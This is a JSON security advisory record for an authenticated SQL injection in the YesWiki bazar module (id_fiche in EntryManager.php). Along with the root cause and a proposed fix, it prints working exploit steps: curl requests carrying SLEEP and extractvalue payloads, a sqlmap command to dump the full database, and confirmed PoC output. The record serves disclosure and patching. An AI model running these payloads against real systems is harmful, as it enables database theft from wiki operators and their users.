{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T01:00:30Z",
    "nvd_published_at": "2026-05-07T06:16:04Z",
    "severity": "HIGH"
  },
  "details": "## Vulnerability Details\n\nYesWiki bazar module contains a SQL injection vulnerability in `tools/bazar/services/EntryManager.php` at line 704. The `$data[\u0027id_fiche\u0027]` value (sourced from `$_POST[\u0027id_fiche\u0027]`) is concatenated directly into a raw SQL query without any sanitization or parameterization.\n\n**Vulnerable Code (EntryManager.php:704):**\n```php\n$result = $this-\u003edbService-\u003eloadSingle(\n    \u0027SELECT MIN(time) as firsttime FROM \u0027 . $this-\u003edbService-\u003eprefixTable(\u0027pages\u0027) .\n    \"WHERE tag=\u0027\" . $data[\u0027id_fiche\u0027] . \"\u0027\"\n);\n```\n\n**Attack Path:**\n1. Attacker authenticates as any user (route requires `acl:{\"+\"}`)\n2. POST `/api/entries/{formId}` with `id_fiche=\u0027 OR SLEEP(3) OR \u0027`\n3. `ApiController::createEntry()` checks `isEntry($_POST[\u0027id_fiche\u0027])` \u2192 false (not existing entry) \u2192 calls `create()`\n4. `create()` \u2192 `formatDataBeforeSave()` \u2192 SQL injection at line 704\n\n**`dbService-\u003eloadSingle()` passes raw string to `mysqli_query()` with no escaping. The `escape()` method exists but is NOT called here.**\n\n**Docker PoC confirmation:**\n- Normal query: `SELECT MIN(time) as firsttime FROM wiki_pages WHERE tag=\u0027TestEntry\u0027` \u2192 `2024-01-01 00:00:00`\n- Injected: `WHERE tag=\u0027\u0027 OR SLEEP(3) OR \u0027\u0027` \u2192 **elapsed: 3.00s (SLEEP confirmed)**\n- Time-based blind SQLi enables full database dump via binary search\n\n## Steps to Reproduce\n\n**Prerequisites:** Any authenticated user account on a YesWiki instance with a bazar form (id_typeannonce) created.\n\n**Step 1 \u2013 Obtain session cookie** (standard login via web UI or API)\n\n**Step 2 \u2013 Time-based blind SQLi (confirm vulnerability):**\n```bash\ncurl -s -X POST \u0027http://TARGET/?api/entries/1\u0027 \\\n  -H \u0027Cookie: wikini_session=\u003cSESSION\u003e\u0027 \\\n  -d \"antispam=1\u0026bf_titre=TestTitle\u0026id_fiche=\u0027 OR SLEEP(3) OR \u0027\"\n```\n\u2192 Response delays ~3 seconds confirming SQL injection.\n\n**Step 3 \u2013 Error-based SQLi (version exfil):**\n```bash\ncurl -s -X POST \u0027http://TARGET/?api/entries/1\u0027 \\\n  -H \u0027Cookie: wikini_session=\u003cSESSION\u003e\u0027 \\\n  -d \"antispam=1\u0026bf_titre=TestTitle\u0026id_fiche=\u0027 AND extractvalue(1,concat(0x7e,@@version))-- -\"\n```\n\u2192 Returns MySQL version in XPATH error: `XPATH syntax error: \u0027~8.4.8\u0027`\n\n**Step 4 \u2013 Full dump via sqlmap:**\n```bash\nsqlmap -u \u0027http://TARGET/?api/entries/1\u0027 \\\n  --data \"antispam=1\u0026bf_titre=T\u0026id_fiche=test\" \\\n  -p id_fiche --cookie \"wikini_session=\u003cSESSION\u003e\" \\\n  --dbms=MySQL --technique=BET --level=2\n```\n\n## Docker PoC Output (confirmed)\n```\n[STEP 1] Normal input: Result (2024-01-01 00:00:00)\n[STEP 2] id_fiche=\u0027 OR SLEEP(3) OR \u0027  \u2192 Elapsed: 3.00s \u2190 SLEEP(3) CONFIRMED\n[STEP 3] id_fiche=\u0027 AND extractvalue(1,concat(0x7e,@@version))-- -\n         DB_ERROR: (1105, \"XPATH syntax error: \u0027~8.4.8\u0027\")\n```\n\n## Root Cause\n\nIn `tools/bazar/services/EntryManager.php` line 704:\n```php\n$result = $this-\u003edbService-\u003eloadSingle(\n    \u0027SELECT MIN(time) as firsttime FROM \u0027 . $this-\u003edbService-\u003eprefixTable(\u0027pages\u0027) .\n    \"WHERE tag=\u0027\" . $data[\u0027id_fiche\u0027] . \"\u0027\"\n);\n```\n`$data[\u0027id_fiche\u0027]` comes from `$_POST[\u0027id_fiche\u0027]` (user input). `DbService::escape()` exists but is **not called** here. `loadSingle()` passes the raw string directly to `mysqli_query()`.\n\n## Proposed Fix\n\nReplace the vulnerable line with parameterized query or call `$this-\u003edbService-\u003eescape()`:\n```php\n$tag = $this-\u003edbService-\u003eescape($data[\u0027id_fiche\u0027]);\n$result = $this-\u003edbService-\u003eloadSingle(\n    \u0027SELECT MIN(time) as firsttime FROM \u0027 . $this-\u003edbService-\u003eprefixTable(\u0027pages\u0027) .\n    \"WHERE tag=\u0027\" . $tag . \"\u0027\"\n);\n```\n\n## PoC Screenshot\n\n![PoC: SLEEP(3) confirmed + MySQL version exfil](https://raw.githubusercontent.com/n0z0/cve-evidence/main/2026-04/20260401_133905_2bc5340f9be9_yeswiki_sqli_sleep3_confirmed_20260401_133745.png)",
  "id": "GHSA-f58v-p6j9-24c2",
  "modified": "2026-05-08T20:09:58Z",
  "published": "2026-04-18T01:00:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-f58v-p6j9-24c2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41143"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/releases/tag/v4.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki vulnerable to authenticated SQL Injection via id_fiche in EntryManager::formatDataBeforeSave()"
}